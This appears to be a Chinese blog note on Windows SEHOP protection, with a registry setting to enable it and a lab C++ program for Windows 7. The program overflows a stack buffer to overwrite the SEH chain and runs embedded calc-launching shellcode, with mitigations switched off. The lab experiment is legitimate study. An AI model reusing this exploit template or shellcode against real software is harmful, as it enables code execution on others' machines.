SEHOP,Structed Exception Handling Overwrite Protection,一种比 SafeSEH 更严厉的保护机制。Windows Vista SP1 开始支持 SEHOP,但 Vista 和 Win7 中默认不启用,可以对这两个版本的系统打补丁以支持 SEHOP,但一个更简单的方法是:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation = dword:00000000
可以写一个带 _try{} _except() 的简单程序,用 OllyDbg 加载然后修改 next seh 链表来对比观察 win7 启用 SEHOP 后的保护效果。我写了一段不算方便的代码来实验,因为其中有个宏可以在以后借用,先存下来:
1 // sehop.cpp : Defines the entry point for the console application. 2 // 3 // os: win7 4 // ide: vs2008 (turn off Optimization/ASLR/GS/DEP) 5 // link option: /SAFESEH:NO 6 7 #include "stdafx.h" 8 #include <stdio.h> 9 #include <stdlib.h> 10 #include <string.h> 11 #include <windows.h> 12 13 #define D2B(x,c) ((byte)(((unsigned int)x)>>(32-c*8))) // Dword to Byte 14 15 char shellcode[300]= 16 "\x60\x89\xE0\x83\xE4\xFC\x50\x31\xD2\x52\x68\x63\x61\x6C\x63\x54" 17 "\x59\x52\x51\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30" 18 "\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE" 19 "\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69" 20 "\x6E\x45\x75\xF0\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7\x58" 21 "\x58\x5C\x61\xC3" // 84b winexec cmd.exe shellcode 22 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 23 "\x90\x90\x90\x90" 24 "\x78\xFF\x12\x00" // next seh 25 "\x18\x30\x40\x00" // seh : shellcode 26 ; 27 28 void test() 29 { 30 char buf[84]; 31 memcpy(buf,shellcode,112); 32 int x=0; 33 __try{ 34 x=1/x; 35 } __except(1) { 36 printf("[fatal] divided by zero!\n"); 37 __asm{ 38 lea eax,shellcode 39 call eax // push next_eip, jmp eax 40 } 41 exit(0); 42 } 43 } 44 45 int _tmain(int argc, _TCHAR* argv[]) 46 { 47 test(); 48 return 0; 49 }
注意其中的 D2B() 宏,在代码中动态定位时可以借用(sprintf(address,"%c%c%c%c",D2B(seh,4),D2B(seh,3),D2B(seh,2),D2B(seh,1))),另外,弹出 calc.exe 的 shellcode 具有 function 特性,即执行过程中会保存现场,执行完了会返回,实验时应该用 lea eax, shellcode; call eax(call eax 会先 push next_eip 再 jmp)
时间: 2024-12-28 09:16:26